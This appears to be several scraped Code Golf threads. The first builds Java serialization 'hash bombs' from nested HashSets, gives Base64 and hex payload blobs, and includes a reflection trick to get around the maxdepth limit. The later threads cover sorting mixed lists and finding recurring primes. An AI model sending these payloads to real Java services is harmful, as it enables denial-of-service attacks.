@mypronounismonicareinstate Also, this isn't a KOTH, this is just [tag:code-golf], where language specific challenges should be carefully considered and are encouraged to spend some time in Sandbox before posting

1087 bytes
1065 bytes
Apparently the JDK's maxdepth limit is kinda broken...
static Object payload() throws Exception {
  int layers = 30;
  int width = 2;
  int codes = 7;
  int extra = 8;

  List<Set<Object>> sets = new ArrayList<>();
  sets.add(new HashSet<>());

  for (int i = 1; i < layers; i++) {
    Set<Object> s = new HashSet<>();
    sets.add(s);
    for (int j = i - 1; j >= i - width - 1 && j >= 0; j--) {
      sets.get(j).add(s);
    }
  }

  for (int i = 0; i < codes; i++) {
    sets.get(sets.size() - 1).add(new Code());
  }

  // special HashSet at the root to circumvent maxdepth limitation. By including a couple deeply
  // nested HashSets here, they will be replaced by references when they're used inside `sets`.
  // Using a LinkedHashSet to guarantee order of serialization.
  LinkedHashSet<Object> linkedRoot = new LinkedHashSet<>();
  linkedRoot.add(sets.get(28));
  linkedRoot.add(sets.get(14));
  linkedRoot.add(sets.get(0));

  // shaving off some more bytes by storing multiple copies of the same set at the top level
  for (int i = 0; i < extra; i ++) {
    sets.get(0).add("foo" + i);
    linkedRoot.add(sets.get(0));
    sets.get(0).remove("foo" + i);
  }

  // transplant the contents of the LinkedHashSet into the HashSet
  Set<Object> root = new HashSet<>();
  Field mapField = HashSet.class.getDeclaredField("map");
  mapField.setAccessible(true);
  mapField.set(root, mapField.get(linkedRoot));
  return root;
}

Base64-encoded data:
rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAABA/QAAAAAAAC3NxAH4AAHcMAAAAED9AAAAAAAABc3EAfgAAdwwAAAAQP0AAAAAAAAdzcgAEQ29kZQAAAAAAAAAAAgAAeHBzcQB+AARzcQB+AARzcQB+AARzcQB+AARzcQB+AARzcQB+AAR4eHNxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3NxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3NxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3NxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3NxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAAJxAH4AAnEAfgADeHEAfgACcQB+AAN4cQB+ABlxAH4AAnhxAH4AGHEAfgAZeHEAfgAXcQB+ABh4cQB+ABZxAH4AF3hxAH4AFXEAfgAWeHEAfgAUcQB+ABV4cQB+ABNxAH4AFHhxAH4AEnEAfgATeHEAfgARcQB+ABJ4cQB+ABBxAH4AEXhxAH4AD3EAfgAQeHEAfgAOcQB+AA94c3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3NxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3NxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3NxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3NxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3EAfgAMcQB+AA1xAH4ADnhxAH4ADHEAfgANeHEAfgAncQB+AAx4cQB+ACZxAH4AJ3hxAH4AJXEAfgAmeHEAfgAkcQB+ACV4cQB+ACNxAH4AJHhxAH4AInEAfgAjeHEAfgAhcQB+ACJ4cQB+ACBxAH4AIXhxAH4AH3EAfgAgeHEAfgAecQB+AB94cQB+AB1xAH4AHnhxAH4AHHEAfgAdeHEAfgAacQB+ABpxAH4AGnEAfgAacQB+ABpxAH4AGnEAfgAacQB+ABp4

I was thinking writeReplace rather than the reflection.

240ish bytes with gzip --best. I couldn't easily spot any easy bytes to take off in the protocol - adding an empty writeObject to Code increases the size, useProtocolVersion 1 (for pre-1.1.6 compatibility - what happened there?) makes no odds.

This one’s 1207 bytes and performs 3910245742 hashes.
private fun veryHashySet(): Set<Any> {
  val codes = listOf(Code(), Code())
  val sets = mutableListOf<Set<Any>>()

  for (i in 0 until 16) {
    val limit = if (i == 15) 3 else 2
    for (j in 0 until limit) {
      val set = HashSet<Any>()
      for (k in 0 until 4) {
        when {
          k < sets.size -> set.add(sets[sets.size - 1 - k])
          k < codes.size -> set.add(codes[k])
        }
      }
      sets += set
    }
  }

  return sets.last()
}

Data:
aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000103f400000000000047371007e0000770c000000103f400000000000047371007e0000770c000000103f400000000000047371007e0000770c000000103f400000000000047371007e0000770c000000103f400000000000047371007e0000770c000000103f400000000000047371007e0000770c000000103f400000000000047371007e0000770c000000103f400000000000047371007e0000770c000000103f400000000000047371007e0000770c000000103f400000000000047371007e0000770c000000103f400000000000047371007e0000770c000000103f400000000000047371007e0000770c000000103f400000000000027371007e0000770c000000103f4000000000000273720004436f6465000000000000000002000078707371007e000f787371007e0000770c000000103f4000000000000271007e000e71007e0010787871007e000e7371007e0000770c000000103f4000000000000371007e000d71007e000e71007e00127871007e00127871007e000d71007e001371007e0012787371007e0000770c000000103f4000000000000471007e000c71007e000b7371007e0000770c000000103f4000000000000471007e000c71007e000b71007e00137371007e0000770c000000103f4000000000000471007e000c71007e000d71007e000b71007e0013787871007e00167871007e001571007e00167871007e001471007e00157371007e0000770c000000103f4000000000000471007e000a71007e001471007e001571007e0016787871007e000a7371007e0000770c000000103f4000000000000471007e000971007e000a71007e001471007e00177871007e0017787371007e0000770c000000103f4000000000000471007e000871007e000971007e001871007e0017787371007e0000770c000000103f4000000000000471007e000871007e000971007e001871007e0019787371007e0000770c000000103f4000000000000471007e000871007e001871007e001971007e001a787871007e001a7371007e0000770c000000103f4000000000000471007e000771007e001971007e001a71007e001b7871007e001b787371007e0000770c000000103f4000000000000471007e000671007e00077371007e0000770c000000103f4000000000000471007e000671007e000771007e001c71007e001b7871007e001c7871007e001e71007e001c787371007e0000770c000000103f4000000000000471007e000571007e001d71007e001e7371007e0000770c000000103f4000000000000471007e000671007e000571007e001d71007e001e787871007e00207371007e0000770c000000103f4000000000000471007e000571007e001d71007e001f71007e0020787871007e001f71007e002071007e00217871007e00047371007e0000770c000000103f4000000000000471007e000371007e000471007e001f71007e00217871007e0021787371007e0000770c000000103f4000000000000471007e000271007e000371007e000471007e0022787371007e0000770c000000103f4000000000000471007e000271007e000371007e002371007e00227871007e002278

285 bytes with gzip --best.

all_licenses: Creative Commons - Attribution Share-Alike - https://creativecommons.org/licenses/by-sa/4.0/


text:
Sort list by types
Rules
You will receive as input a list that contains integers and strings. Your task is to move all of the strings to the end of the list and all of the integers to the beginning of the list.
This is code-golf so the answer with the least number of bytes wins.

Do the integers and strings need to stay in the original order relative to other elements of the same type?

@xnor No. The order may be destroyed.

May the output list have extra items in it? For example, given [1,"a",2,"b"] could we output [1,2,None,"a",None,"b"]?

@sugarfi No. The task is to sort without adding anything.

What do you do for a language that doesn't have integers except as strings of ASCII digits?

Does it have to be an integer or can it be a string of digits? If so, what about strings with digits in them?

@Neil I'm new to code-golf so I didn't know that there're some languages.

@S.S. Anne If your golf language has no integers you can use a digit string.

What if it has no combined lists of integers and strings?

Python 3, 24 bytes
lambda l:l.sort(key=dir)

Try it online!
Sorts in place, modifying the input list. It so happens that the dir of a number is smaller than that of a string because the __abs__ method that numbers have comes alphabetically first.
>> dir(1)
['__abs__', '__add__', '__and__', ...]
>> dir('a')
['__add__', '__class__', '__contains__', ...]

The only built-in to use as a key that would be shorter than dir is id, but it seems to puts strings before numbers, and I don't know if its behavior is consistent.

Python 2, 6 bytes
sorted

Try it online!
Python 2 allows comparing different types, and conveniently numbers come before strings.

@Victor The 05AB1E solution should win because it was posted first and is shortest, unless this is [popularity-contest] in which case it is off-topic.

@S.S Anne This code-golf question was inspired by a similar question on StackOverflow in Russian about python. So I'm interested mostly in python solutions but all other answers are interesting to me as well. Ok, I'll accept 05AB1E.

@VictorsaysReinstateMonica Thank you for playing by the rules :)

@S.S.Anne I thought to accept an answer does not mean anything on this site but now I understood ;) Thanks for the explanation!

05AB1E, 1 byte
05AB1E does this exactly as specified.
{

Try it online!
Or, verify all test cases (so far)
Explanation
Even if the answer is a one-byte answer, I still feel like typing the explanation.
Implicit input as a list
{ Sort the list (numbers go before the strings)

APL (Dyalog Extended), 1 byte
∧

Try it online!

Wolfram Language (Mathematica), 4 bytes
Sort

Try it online!

JavaScript (ES6), 31 bytes
a=>a.sort((a,b)=>!b.big-!a.big)

Try it online!
How?
The deprecated but still widely supported method .big() is defined for Strings and undefined for Numbers. Hence the sorting criterion !b.big-!a.big which is either \$-1\$, \$0\$ or \$1\$.

Ruby, 30 24 bytes
->l{l.sort_by &:methods}

Try it online!

Python 3, 33 bytes
L.sort(key=lambda x:str(type(x)))

Try it online!
And in fact this is how I'd write it in live code too, probably...

Why not L.sort(key=lambda x:str(type(x)))?

Ah yeah, that space is unnecessary indeed.

It's a common output that higher-rep people are often outgolfed by lower-rep people ...

Red, 23 bytes
func[x][reverse sort x]

Try it online!

Java 8, 43 41 bytes
L->{L.sort((i,j)->i==i.toString()?1:-1);}

-2 bytes thanks to @Neil.
Input as a List of Objects, with String and Integer items.
Try it online.
Explanation:
L->{                    // Method with Object-List parameter and no return-type
  L.sort(               //  Sort the List by:
    (i,j)->             //   For every pair of items `i,j`:
      i==i.toString()?  //    If `i` is a String (by checking whether `i` and the builtin
                        //    String-conversion of `i` reference the same instance):
       1                //     Put it after item `j`
      :                 //    Else:
       -1);}            //     Put it before item `j`

i==i.toString()?1:-1 saves 2 bytes. (Obviously, this can only ever be true for String objects, and it's also fortunately trivially true for all String objects.)

@Neil Ah, very smart, thanks! This is only the second time I use Java's referencing on Strings as an advantage with codegolfing. :) (The first was once with s==s.trim() to check whether a String didn't contained any trailing and/or leading white-spaces.)

Perl 6 Raku, 15 14 bytes
-1 thanks to Jo King.
*.sort(*~~Str)

Try it online!
This is an anonymous WhateverCode function nested within another. I didn't know I could do that.

14 bytes with *~~Str

T-SQL, 35 bytes
Decimals will be placed in the integer section
DECLARE @ table(a varchar(99))
INSERT @ values('1'),('a'),('abc'),('1'),('d'),('84753')

SELECT*FROM @ ORDER BY-isnumeric(a)

Burlesque, 2 bytes
><

Try it online!

Pyth, 8 bytes
o$dir(N)

I don't know what it is about python eval that makes me feel like I'm bending the rules, but I like it :)
Try it online!

Retina 0.8.2, 24 bytes
O$^m`^(-?[0-9]+$)?.*$
$1

Try it online! Explanation:
m`^(-?[0-9]+$)?.*$

Match each line, capturing it if it's an integer.
O$
$1

Sort the matches by the captured integer, as a string. This sorts non-integers to the beginning as nothing was captured which results in the empty string in the substitution.
^

Reverse the list after sorting.

Python 3, 78 bytes
lambda x:[*filter(lambda _:type(_)==int,x)]+[*filter(lambda _:type(_)==str,x)]

Try it online!

Japt, 2 bytes
ñy

Test it here

PHP, 20 bytes
fn(&$a)=>sort($a,2);

Try it online!

From the question Your task is to move all strings..., there is no output or function needed, and from what I see for example from the 05AB1E's answer, isn't sort($t,2); enough?

@Kaddath Unless otherwise specified, default rules require all submissions to be full programs or functions.

@Neil OK that's noted, thanks :)

Bash + GNU utilities, 36 bytes
p=egrep\ ^-?[0-9]+$
tee a|$p
$p -v<a

Try it online!
A value is considered to be an integer if: (1) the first character is either a digit or a minus sign; (2) any other characters are all digits; and (3) at least one digit is present.  Any value that is not an integer is considered to be a string.

R, 26 bytes
function(L)sort(unlist(L))

Straightforward: unlist then sort the list L. Works because digits sort before alphabetic letters, be them upper or lower case.
Try it online!

C (gcc), 117 bytes
f(a,l,p,c)struct{int*s,i;}*a,*p;{for(c=l,p=a;c--;p++)p->s?:printf("%d ",p->i);for(;l--;a++)a->s&&printf("%s ",a->s);}

C does not have lists of combined strings and integers so instead I use an array of structures; if the string is NULL (which a real string never will be), then print the integer instead. Of course, go over the list an print the integers first, then the strings.
Stable sort.
Try it online!

Charcoal, 15 bytes
Ｆ²ΦＥθ⭆¹κ⁼ι⁼κ§θλ

Try it online! Link is to verbose version of code. Explanation:
Ｆ²

Make two passes over the input items.
Ｅθ⭆¹κ

Stringify all the input items...
Φ...⁼ι⁼κ§θλ

... and filter on those elements that are not or are unchanged under stringification respectively.

Batch, 320 Bytes
@ECHO OFF
Setlocal EnableDelayedExpansion
Set /P S=Str:
FOR %%B IN (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) DO (
IF "!L!"=="" (Set L=!S:%%B= !) Else (Set L=!L:%%B= !)
)
FOR %%C IN (0,1,2,3,4,5,6,7,8,9) DO (
IF "!R!"=="" (Set R=!S:%%C= !) Else (Set R=!R:%%C= !)
)
Set S=%L: =%%R: =%
ECHO(%S%
pause

Kotlin, 41 bytes
Expects and returns a List<Any>. The order of ints and strings in the returned list should be stable.
{it.partition{it is Int}.let{(a,b)->a+b}}

Try it online!

Fig, \$4\log_{256}(96)\approx\$ 3.292 bytes
^'#s

See the README to see how to run this
^'#s # Expects the list as input
^'   # Sort the input using the following function as a key:
  #s # Is string?

Factor, 29 bytes
[ [ real? 0 1 ? ] sort-with ]

Try it online!
Is it a real number? Then sort it as though it were 0. Otherwise, sort it as though it were 1.

Uiua, 3 bytes
⊏⍏.

Try it!
This is the default behavior of sorting a boxed list in Uiua.
⊏⍏.
  .  # duplicate
 ⍏   # rise (grade up)
⊏    # select

Scala 3, 75 bytes
Golfed version. Attempt This Online!
_.sortWith{case(i:String,j:Any)=>2<1;case(i:Any,j:String)=>2>1;case _=>2>1}

Ungolfed version. Attempt This Online!
object Main {
  trait N {
    def c(L: List[Any]): List[Any]
  }

  val n: N = (L: List[Any]) => {
    L.sortWith {
      case (i: String, j: Any) => false
      case (i: Any, j: String) => true
      case _ => true
    }
  }

  def main(args: Array[String]): Unit = {
    test(1, 4, "2", "c", 6)
    test("a", 1, "b", 2, "c", 3, "1", "2", "3")
  }

  def test(a: Any*): Unit = {
    var list = a.toList
    prettyPrint(list)
    print(": ")
    list = n.c(list)
    prettyPrint(list)
    println()
  }

  def prettyPrint(list: List[Any]): Unit = {
    print("[")
    for (i <- list.indices) {
      val o = list(i)
      o match {
        case s: String => print("\"" + s + "\"")
        case _ => print(o)
      }
      if (i < list.size - 1) print(",")
    }
    print("]")
  }
}


text:
Find the largest recurring prime
Inspired by Find the largest fragile prime
A recurring prime (or whatever you choose to call it) is a prime that, when removing leading digits, always remain prime regardless of how many digits are removed.
for example
6317 is a recurring prime because...
317 is a recurring prime because...
17 is a recurring prime because...
7 is a prime

727 is a prime but not a recurring prime because 27 is not a prime.
Goal
Like the original question, your score is the largest recurring prime found by your program/ algorithm.
Rules
I copied these from the original question
You may use any language and any third-party libraries.
You may use probabilistic primality tests.
Everything is in base 10.

Edit: Welp... turns out I have not factored in adding zeros in this question. Although I have not thought about adding 0 at first but it indeed satisfy my requirements, since removing a digit in front of (any number of) zeros skips many digits of prime tests and returns trivially true if the last few digits is a recurring prime. To make this question less of a "zero spam" but also reward strategic use of zeros, at most 2 consecutive zeros can be present in your answer. (Sorry to Level River St who asked me this)

Are numbers where some digits are zero allowed? See my answer.

@a'_' I think the point is that primes with multiple consecutive zeros are fairly trivial to find and not very interesting. For example I found  9000000000000007 manually. I have since deleted my answer.

@a'_' I do not mean that, but this question is made to reward understanding and strategic use of number properties that these primes have.  What I want is some creative way to list/extend existing recurring primes (see the original question). Because of my oversight adding zeros are not explicitly banned but I do want their use to be strategic enough to provoke thought. Hence the 2-0 requirement.

@LevelRiverSt I am terribly sorry to change the requirements after you posted your answer, you can keep your answer here for reference instead of just deleting it.

It's OK, it didn't take long to do. I will leave it deleted. Your new ruling is interesting, as it has a connection with base 1000. for example 9007 is admissible, which is 97 when written in base 1000.

Not that Python is my first language, but that username...

If there is no time limit, I could have written a program taking an arbitrary amount of time.

@Akanga well that's 100% normal for this website; your program still has to output an output in a finite enough amount of time for you to actually see the output.

Just for interest (and because ovs seems to have found the largest prime admissible under the rules as they stand), I checked numbers of the form A*10**B+C where A and C are in the range 1..9 and B<1000 and found that 1E999+7 is the largest such prime in this range.

@LuisMendo And the winning answer is in Python ...

Python 3, 79 digits (probably optimal)
A simple depth first search that allows up to two consecutive zeros.
from sympy.ntheory.primetest import isprime

def dfs(n=0, k=1):
    yield n
    if 100*n > k:
        yield from dfs(n, k*10)
    for i in range(1,10):
        if isprime(k*i + n):
            yield from dfs(k*i + n, k*10)

l = 1
for prime in dfs():
    if prime > l:
        d = len(str(prime))
        print(f'{d} digits: {prime}')
        l = 10**d

Try it online! Validate the result!
Finds 200400201909005006060042636079002004200130030090050030780060900408062003 (72 digits) in 8 seconds on TIO. I let the program run on my computer a little longer and the highest recurrent prime it found is 7030560306007020600400306654060053003909007054300609009069003056030702030330347 (validation). The program actually completed after finding this number, so this is probably the longest prime meeting the challenges requirement.
Note that sympys isprime could theoretically return true for pseudoprimes >2^64, though no examples are known as of now.

Python 3, 24 digits
only considers numbers without zeros
from sympy.ntheory.primetest import isprime

def dfs(n=0, k=1):
    yield n
    for i in range(1,10):
        if isprime(k*i + n):
            yield from dfs(k*i + n, k*10)

l = 1
for prime in dfs():
    if prime > l:
        print(f'{len(str(prime))} digits: {prime}')
        l *= 10

Try it online! Validate the result!
Finds 357686312646216567629137 in less then a second on TIO.

Your 24-digit prime without zeros is indeed known to be the biggest possible such answer: https://oeis.org/A024785

If the search halts and there are no bugs in your code, that could be considered a proof that it's actually optimal.

Made an iterative version Try it online!

@mypronounismonicareinstate I guess so, but I'm not sure how interesting this find is outside of this challenge.

Charcoal, 32 bytes
Ｆ37⊞υιＦυＦＥ⁹⁺⊕κι¿⬤…²Ｉκ﹪Ｉκλ«κＤ⎚

Try it online! Finds all zero-free recurring primes, but is inefficient, so the TIO link is limited to just under 60 seconds' worth of primes. Explanation:
Ｆ37⊞υι

Start with the two possible last digits of all recurring primes (except the trivial 2 and 5).
Ｆυ

Perform a breadth first search of recurring primes as they are found.
ＦＥ⁹⁺⊕κι

Prefix each non-zero digit to the prime so far.
¿⬤…²Ｉκ﹪Ｉκλ«

Use trial division to find out whether this is a new prime.
κＤ⎚⊞υκ

If it is then output it and add it to the list of recurring primes.